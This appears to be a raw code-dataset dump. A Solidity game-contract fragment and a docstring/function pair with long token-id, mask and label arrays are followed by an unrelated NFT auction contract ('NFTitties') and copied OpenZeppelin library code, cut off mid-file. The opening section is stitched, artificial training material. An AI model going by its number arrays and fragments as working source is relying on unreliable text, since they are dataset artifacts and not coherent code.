MAX_TIME_EXPLORE; uint256 minRange = uint256(SafeMath.min(_shipRange, RANGE_STAT_MAX)); uint256 scaledRange = uint256(RANGE_STAT_MAX * RANGE_SCALE); int256 minExplore = (minToExplore - MIN_TIME_EXPLORE); minToExplore -= fraction(minExplore, int256(minRange), int256(scaledRange)); minToExplore += fraction(minToExplore, int256(_sectorSize) - int256(10), 10); minToExplore = SafeMath.max(minToExplore, MIN_TIME_EXPLORE); return minToExplore; } /// @notice calcs a perc without float or double :( function fraction(int256 _subject, int256 _numerator, int256 _denominator) private pure returns (int256) { int256 division = _subject * _numerator - _subject * _denominator; int256 total = _subject * _denominator + division; return total / _denominator; } /// @notice Any C-level can fix how many seconds per blocks are currently observed. /// @param _secs The seconds per block function setSecondsPerBlock(uint256 _secs) external onlyCLevel { require(_secs > 0); secondsPerBlock = _secs; } }
@notice Check if asset is in the state passed by parameter @param _tokenId The UniqueId of the asset of interest. @param _category see AssetCategory in EthernautsBase for possible states
function isCategory(uint256 _tokenId, uint8 _category) public view returns (bool) { return assets[_tokenId].category == _category; }
1,044,170
[ 1, 1564, 309, 3310, 353, 316, 326, 919, 2275, 635, 1569, 225, 389, 2316, 548, 1021, 14584, 548, 434, 326, 3310, 434, 16513, 18, 225, 389, 4743, 2621, 10494, 4457, 316, 512, 1136, 82, 5854, 87, 2171, 364, 3323, 5493, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 353, 4457, 12, 11890, 5034, 389, 2316, 548, 16, 2254, 28, 389, 4743, 13, 1071, 1476, 1135, 261, 6430, 13, 288, 203, 3639, 327, 7176, 63, 67, 2316, 548, 8009, 4743, 422, 389, 4743, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.9; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/utils/introspection/ERC165.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, Ownable { using Address for address; using Strings for uint256; using SafeMath for uint256; using Counters for Counters.Counter; struct Auction { uint256 id; uint256 endTime; uint256 tokenId; } struct Rate { uint256 id; uint256 cost; address owner; } event TokenCreated(uint256 indexed tokenId, address indexed owner); event MultipleTokenCreated(uint256[] tokenIds, address indexed owner); event CreateAuction( uint256 indexed tokenId, address indexed owner, uint256 indexed price ); event ResetAuction( uint256 indexed tokenId ); event PlaceBid( uint256 indexed tokenId, address indexed owner, uint256 indexed price ); event CompleteAuction( uint256 indexed tokenId, address indexed toAddress, uint256 indexed price ); //Creator fee uint256 public creatorPercent = 89; //Platform + charity fee uint256 public systemPercent = 11; //Duration for each auction uint256 public timeInterval = 24 hours; //Time extension if a new bid appears near the end uint256 public timeExtension = 15 minutes; //Percentage by which new bid should be greater than old uint256 public rateStep = 10; //Min bid amount WEI uint256 public minBid = 0.01 ether; //Is preminting or postminting bool public isPreMinting; //Enable approveAuctionWithCreator function bool public canApproveWithCreator; //Auction of tokenId mapping(uint256 => Auction) public auctionOfToken; //Rate of auctionId mapping(uint256 => Rate) public rateOfAuctionId; //Creator of tokenId mapping(uint256 => address) public tokenCreator; //Creator addresses mapping(uint256 => address) public creatorAddresses; //Admin addresses mapping(address => bool) public adminPool; //Approved auctions mapping(uint256 => bool) public claimableAuctions; //System address address payable public systemAddress = payable(address(0xd613c3878CbC435feAf066D3d510165D7DE9AcC1)); uint256 public auctionCount = 1; uint256 public rateCount = 1; uint256 private tokensCounter = 0; modifier onlyAdmin() { require(adminPool[_msgSender()], "Caller is not the admin"); _; } function setCreatorFeePercent(uint256 percent) external onlyOwner { creatorPercent = percent; } function setSystemFeePercent(uint256 percent) external onlyOwner { systemPercent = percent; } function setMinBidAmount(uint256 _minBid) external onlyOwner { minBid = _minBid; } function setRateStep(uint256 _newValue) external onlyOwner { require(_newValue <= 100, "Rate step too high"); rateStep = _newValue; } function setTimeExtension(uint256 _newValue) external onlyOwner { require(_newValue <= 24 hours, "Too much extension"); timeExtension = _newValue; } function setSystemAddress(address payable _address) external onlyOwner { systemAddress = _address; } function setTimeInterval(uint256 newTime) external onlyOwner { timeInterval = newTime; } function setAdminPool(address _address, bool value) external onlyOwner { adminPool[_address] = value; } function setMintType(bool value) external onlyOwner { isPreMinting = value; } function setApproveWithCreator(bool value) external onlyOwner { canApproveWithCreator = value; } function approveAuction(uint256 tokenId, uint256 serverBidPrice) external onlyAdmin { Auction memory auction = auctionOfToken[tokenId]; require(auction.id != 0, "Auction does not exist"); require(auction.endTime <= block.timestamp, "Auction has not ended yet"); Rate memory maxRate = rateOfAuctionId[auction.id]; if (maxRate.cost >= serverBidPrice) { claimableAuctions[tokenId] = true; } else { returnRateToUser(tokenId); delete auctionOfToken[tokenId]; delete rateOfAuctionId[auction.id]; } } function approveAuctionWithCreator(uint256 tokenId, uint256 serverBidPrice, address creator) external onlyAdmin { require(canApproveWithCreator, "Approving with creator disabled"); Auction memory auction = auctionOfToken[tokenId]; require(auction.id != 0, "Auction does not exist"); require(auction.endTime <= block.timestamp, "Auction has not ended yet"); Rate memory maxRate = rateOfAuctionId[auction.id]; if (maxRate.cost >= serverBidPrice) { claimableAuctions[tokenId] = true; creatorAddresses[tokenId] = creator; } else { returnRateToUser(tokenId); delete auctionOfToken[tokenId]; delete rateOfAuctionId[auction.id]; } } function emergencyCancelAuction(uint256 tokenId) external onlyOwner { Auction memory auction = auctionOfToken[tokenId]; require(auction.id != 0, "Auction not exist"); returnRateToUser(tokenId); delete auctionOfToken[tokenId]; delete rateOfAuctionId[auction.id]; emit ResetAuction(tokenId); } function startAuction(uint256 tokenId) external payable { require(auctionOfToken[tokenId].id == 0, "Auction already exists"); require(!isPreMinting, "Pre-minting is active"); require(_owners[tokenId] == address(0), "Token already owned"); require(msg.value >= minBid, "ETH amount too low"); _setAuctionToMap(tokenId); _setRateToAuction(auctionOfToken[tokenId].id, _msgSender(), msg.value); emit CreateAuction(tokenId, _msgSender(), msg.value); } function returnRateToUser(uint256 tokenId) private { Auction memory auction = auctionOfToken[tokenId]; Rate memory oldRate = rateOfAuctionId[auction.id]; require(oldRate.id != 0, "Bid does not exist"); address payable owner = payable(oldRate.owner); owner.transfer(oldRate.cost); } function placeBid(uint256 tokenId) external payable { require(auctionOfToken[tokenId].id != 0, "Auction does not exist"); Auction memory auction = auctionOfToken[tokenId]; Rate memory maxRate = rateOfAuctionId[auction.id]; require(msg.value >= (maxRate.cost).mul(rateStep + 100).div(100), "Bid must be greater than current bid" ); if (block.timestamp > auction.endTime.sub(timeExtension)) auctionOfToken[tokenId].endTime = block.timestamp + timeExtension; _setRateToAuction(auction.id, _msgSender(), msg.value); emit PlaceBid(tokenId, _msgSender(), msg.value); } function claimToken(uint256 tokenId) external { require(_owners[tokenId] == address(0), "Token already claimed"); Auction memory auction = auctionOfToken[tokenId]; require(auction.endTime <= block.timestamp, "Auction has not ended yet"); Rate memory maxRate = rateOfAuctionId[auction.id]; require(maxRate.owner != address(0), "No address for previous bidder"); require(claimableAuctions[tokenId], "Auction has not been approved yet"); _safeMint(maxRate.owner, tokenId); if(creatorAddresses[tokenId] != address(0)) { address payable _creatorAddress = payable(creatorAddresses[tokenId]); _creatorAddress.transfer(getQuantityByTotalAndPercent(maxRate.cost, creatorPercent)); systemAddress.transfer(getQuantityByTotalAndPercent(maxRate.cost, systemPercent)); } else { systemAddress.transfer(maxRate.cost); } delete auctionOfToken[tokenId]; delete rateOfAuctionId[auction.id]; delete claimableAuctions[tokenId]; emit CompleteAuction(tokenId, maxRate.owner, maxRate.cost); } function _setRateToAuction(uint256 auctionId, address rateOwnAddress, uint256 cost) private { Rate memory oldRate = rateOfAuctionId[auctionId]; Rate memory rate; rate.cost = cost; rate.owner = rateOwnAddress; rate.id = rateCount; rateCount = rateCount + 1; rateOfAuctionId[auctionId] = rate; if (oldRate.id != 0) { address payable owner = payable(oldRate.owner); owner.transfer(oldRate.cost); } } function getHighestBidFromAuction(uint256 tokenId) public view returns (uint256) { require(auctionOfToken[tokenId].id != 0, "Auction does not exist"); Auction memory auction = auctionOfToken[tokenId]; Rate memory maxRate = rateOfAuctionId[auction.id]; require(maxRate.id != 0, "Bid does not exist"); return maxRate.cost; } function isAuctionOver(uint256 tokenId) public view returns (bool) { Auction memory auction = auctionOfToken[tokenId]; if(auctionOfToken[tokenId].id == 0) return false; return block.timestamp > auction.endTime; } function _setAuctionToMap(uint256 _tokenId) private { Auction memory auction; auction.tokenId = _tokenId; auction.id = auctionCount; auction.endTime = block.timestamp + timeInterval; auctionOfToken[_tokenId] = auction; auctionCount++; } // Create tokens function createToken() public returns (uint256) { require(isPreMinting, "Post-minting is active"); uint256 tokenId = totalSupply(); while (ownerOf(tokenId) != address(0)) { tokenId++; } _safeMint(_msgSender(), tokenId); tokensCounter++; emit TokenCreated(tokenId, _msgSender()); return tokenId; } function createMultipleTokens(uint256 count) public returns (uint256[] memory) { require(count <= 50, "Max limit is 50 tokens"); require(isPreMinting, "Post-minting is active"); uint256[] memory tokensArray = new uint256[](count); for (uint256 i = 0; i < count; i++) { uint256 tokenId = totalSupply(); while (ownerOf(tokenId) != address(0)) { tokenId++; } _safeMint(_msgSender(), tokenId); tokensCounter++; tokensArray[i] = tokenId; } emit MultipleTokenCreated(tokensArray, _msgSender()); return tokensArray; } function getQuantityByTotalAndPercent(uint256 totalCount, uint256 percent) public pure returns (uint256) { if (percent == 0) return 0; return totalCount.mul(percent).div(100); } function changeTokensOwner(address newAddress) public { uint256[] memory tokens = tokensOfOwner(_msgSender()); for (uint256 i = 0; i < tokens.length; i++) { _safeTransfer(_msgSender(), newAddress, tokens[i], ""); tokenCreator[tokens[i]] = newAddress; } } function withdraw(address _address) public onlyOwner { address payable owner = payable(address(uint160(_msgSender()))); if (_address == address(0)) { owner.transfer(address(this).balance); } else { require( IERC20(_address).transfer( _msgSender(), IERC20(_address).balanceOf(address(this)) ), "Error while transferring token" ); } } // Token name string private _name = "NFTitties"; // Token symbol string private _symbol = "TITS"; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString(), ".json")) : ""; } /** * @dev Base URI for computing {tokenURI}. Empty by default, can be overriden * in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return "https://www.nftitties.app/token/"; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom(address from, address to, uint256 tokenId) public virtual override { require( _isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved" ); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require( _isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved" ); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer(address from, address to, uint256 tokenId) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received( _msgSender(), from, tokenId, _data ) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert( "ERC721: transfer to non ERC721Receiver implementer" ); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } // Mapping from owner to list of owned token IDs mapping(address => uint256[]) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; function totalSupply() public view returns (uint256) { return _allTokens.length; } function tokensOfOwner(address owner) public view returns (uint256[] memory) { return _tokensOfOwner(owner); } function _tokensOfOwner(address owner) internal view returns (uint256[] storage) { return _ownedTokens[owner]; } function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { _ownedTokensIndex[tokenId] = _ownedTokens[to].length; _ownedTokens[to].push(tokenId); } function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _ownedTokens[from].length.sub(1); uint256 tokenIndex = _ownedTokensIndex[tokenId]; if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } _ownedTokens[from].pop(); } function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length.sub(1); uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array _allTokens.pop(); _allTokensIndex[tokenId] = 0; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. 